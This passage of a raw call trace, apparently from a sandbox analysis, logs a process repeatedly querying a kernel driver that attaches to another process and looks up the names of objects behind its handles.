0x1ec15e0 [0068.499] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.500] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.500] PsAcquireProcessExitSynchronization () returned 0x0 [0068.500] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.500] ObReferenceObjectByHandle (in: Handle=0x6e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002094180, HandleInformation=0x0) returned 0x0 [0068.500] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.500] PsReleaseProcessExitSynchronization () returned 0x2 [0068.500] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.500] ObQueryNameString (in: Object=0xfffff8a002094180, ObjectNameInfo=0xfffffa8003983044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003983044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.500] ObfDereferenceObject (Object=0xfffff8a002094180) returned 0x1 [0068.500] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.500] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.500] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.500] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.500] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.500] PsAcquireProcessExitSynchronization () returned 0x0 [0068.500] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.500] ObReferenceObjectByHandle (in: Handle=0x704, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00208d060, HandleInformation=0x0) returned 0x0 [0068.500] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.501] PsReleaseProcessExitSynchronization () returned 0x2 [0068.501] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.501] ObQueryNameString (in: Object=0xfffff8a00208d060, ObjectNameInfo=0xfffffa8003984044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003984044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.501] ObfDereferenceObject (Object=0xfffff8a00208d060) returned 0x1 [0068.501] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.501] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.501] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.501] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.501] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.501] PsAcquireProcessExitSynchronization () returned 0x0 [0068.501] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.501] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001e158c0, HandleInformation=0x0) returned 0x0 [0068.501] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.501] PsReleaseProcessExitSynchronization () returned 0x2 [0068.501] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.501] ObQueryNameString (in: Object=0xfffff8a001e158c0, ObjectNameInfo=0xfffffa8003986044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003986044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.501] ObfDereferenceObject (Object=0xfffff8a001e158c0) returned 0x1 [0068.501] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.501] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.501] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.501] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.501] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.501] PsAcquireProcessExitSynchronization () returned 0x0 [0068.501] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.501] ObReferenceObjectByHandle (in: Handle=0x720, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001ba99f0, HandleInformation=0x0) returned 0x0 [0068.501] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.501] PsReleaseProcessExitSynchronization () returned 0x2 [0068.501] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.501] ObQueryNameString (in: Object=0xfffff8a001ba99f0, ObjectNameInfo=0xfffffa8003987044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003987044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.502] ObfDereferenceObject (Object=0xfffff8a001ba99f0) returned 0x1 [0068.502] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.502] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.502] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.502] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.502] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.502] PsAcquireProcessExitSynchronization () returned 0x0 [0068.502] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.502] ObReferenceObjectByHandle (in: Handle=0x728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00226c630, HandleInformation=0x0) returned 0x0 [0068.502] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.502] PsReleaseProcessExitSynchronization () returned 0x2 [0068.502] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.502] ObQueryNameString (in: Object=0xfffff8a00226c630, ObjectNameInfo=0xfffffa8003988044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003988044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.502] ObfDereferenceObject (Object=0xfffff8a00226c630) returned 0x1 [0068.502] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.502] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.502] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.502] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.502] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.502] PsAcquireProcessExitSynchronization () returned 0x0 [0068.502] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.502] ObReferenceObjectByHandle (in: Handle=0x72c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00231a470, HandleInformation=0x0) returned 0x0 [0068.502] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.502] PsReleaseProcessExitSynchronization () returned 0x2 [0068.502] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.502] ObQueryNameString (in: Object=0xfffff8a00231a470, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.502] ObfDereferenceObject (Object=0xfffff8a00231a470) returned 0x1 [0068.502] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.502] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.502] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.502] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.502] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.502] PsAcquireProcessExitSynchronization () returned 0x0 [0068.502] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.503] ObReferenceObjectByHandle (in: Handle=0x730, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00207bf40, HandleInformation=0x0) returned 0x0 [0068.503] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.503] PsReleaseProcessExitSynchronization () returned 0x2 [0068.503] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.503] ObQueryNameString (in: Object=0xfffff8a00207bf40, ObjectNameInfo=0xfffffa800398c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800398c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.503] ObfDereferenceObject (Object=0xfffff8a00207bf40) returned 0x1 [0068.503] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.503] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.503] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.503] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.503] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.503] PsAcquireProcessExitSynchronization () returned 0x0 [0068.503] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.503] ObReferenceObjectByHandle (in: Handle=0x734, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002339680, HandleInformation=0x0) returned 0x0 [0068.503] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.503] PsReleaseProcessExitSynchronization () returned 0x2 [0068.503] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.503] ObQueryNameString (in: Object=0xfffff8a002339680, ObjectNameInfo=0xfffffa8001fa2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001fa2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.503] ObfDereferenceObject (Object=0xfffff8a002339680) returned 0x1 [0068.503] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.503] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.503] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.503] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.503] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.503] PsAcquireProcessExitSynchronization () returned 0x0 [0068.503] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.503] ObReferenceObjectByHandle (in: Handle=0x73c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00234e060, HandleInformation=0x0) returned 0x0 [0068.503] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.503] PsReleaseProcessExitSynchronization () returned 0x2 [0068.503] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.503] ObQueryNameString (in: Object=0xfffff8a00234e060, ObjectNameInfo=0xfffffa8001fa87c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001fa87c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.503] ObfDereferenceObject (Object=0xfffff8a00234e060) returned 0x1 [0068.503] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.504] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.504] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.504] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.504] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.504] PsAcquireProcessExitSynchronization () returned 0x0 [0068.504] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.504] ObReferenceObjectByHandle (in: Handle=0x740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0023488a0, HandleInformation=0x0) returned 0x0 [0068.504] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.504] PsReleaseProcessExitSynchronization () returned 0x2 [0068.504] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.504] ObQueryNameString (in: Object=0xfffff8a0023488a0, ObjectNameInfo=0xfffffa80019da044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80019da044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.504] ObfDereferenceObject (Object=0xfffff8a0023488a0) returned 0x1 [0068.504] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.504] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.504] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.504] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.504] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.504] PsAcquireProcessExitSynchronization () returned 0x0 [0068.504] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.504] ObReferenceObjectByHandle (in: Handle=0x748, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002341950, HandleInformation=0x0) returned 0x0 [0068.504] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.504] PsReleaseProcessExitSynchronization () returned 0x2 [0068.504] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.504] ObQueryNameString (in: Object=0xfffff8a002341950, ObjectNameInfo=0xfffffa800344e7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800344e7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.504] ObfDereferenceObject (Object=0xfffff8a002341950) returned 0x1 [0068.504] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.504] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.504] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.504] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.504] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.504] PsAcquireProcessExitSynchronization () returned 0x0 [0068.504] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.504] ObReferenceObjectByHandle (in: Handle=0x754, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00235a630, HandleInformation=0x0) returned 0x0 [0068.504] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.505] PsReleaseProcessExitSynchronization () returned 0x2 [0068.505] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.505] ObQueryNameString (in: Object=0xfffff8a00235a630, ObjectNameInfo=0xfffffa8003964044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003964044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.505] ObfDereferenceObject (Object=0xfffff8a00235a630) returned 0x1 [0068.505] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.505] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.505] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.505] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.505] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.505] PsAcquireProcessExitSynchronization () returned 0x0 [0068.505] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.505] ObReferenceObjectByHandle (in: Handle=0x758, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0021d13f0, HandleInformation=0x0) returned 0x0 [0068.505] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.505] PsReleaseProcessExitSynchronization () returned 0x2 [0068.505] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.505] ObQueryNameString (in: Object=0xfffff8a0021d13f0, ObjectNameInfo=0xfffffa8003965044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003965044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.505] ObfDereferenceObject (Object=0xfffff8a0021d13f0) returned 0x1 [0068.505] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.505] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.505] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.505] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.505] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.505] PsAcquireProcessExitSynchronization () returned 0x0 [0068.505] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.505] ObReferenceObjectByHandle (in: Handle=0x77c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a002343140, HandleInformation=0x0) returned 0x0 [0068.505] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.505] PsReleaseProcessExitSynchronization () returned 0x2 [0068.505] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.505] ObQueryNameString (in: Object=0xfffff8a002343140, ObjectNameInfo=0xfffffa8003966044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003966044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.505] ObfDereferenceObject (Object=0xfffff8a002343140) returned 0x1 [0068.505] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.506] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.506] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.506] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.506] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.506] PsAcquireProcessExitSynchronization () returned 0x0 [0068.506] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.506] ObReferenceObjectByHandle (in: Handle=0x8a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0028063e0, HandleInformation=0x0) returned 0x0 [0068.506] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.506] PsReleaseProcessExitSynchronization () returned 0x2 [0068.506] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.506] ObQueryNameString (in: Object=0xfffff8a0028063e0, ObjectNameInfo=0xfffffa8003967044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003967044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.506] ObfDereferenceObject (Object=0xfffff8a0028063e0) returned 0x1 [0068.506] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.506] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.506] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.506] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.506] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.506] PsAcquireProcessExitSynchronization () returned 0x0 [0068.506] KeStackAttachProcess (in: 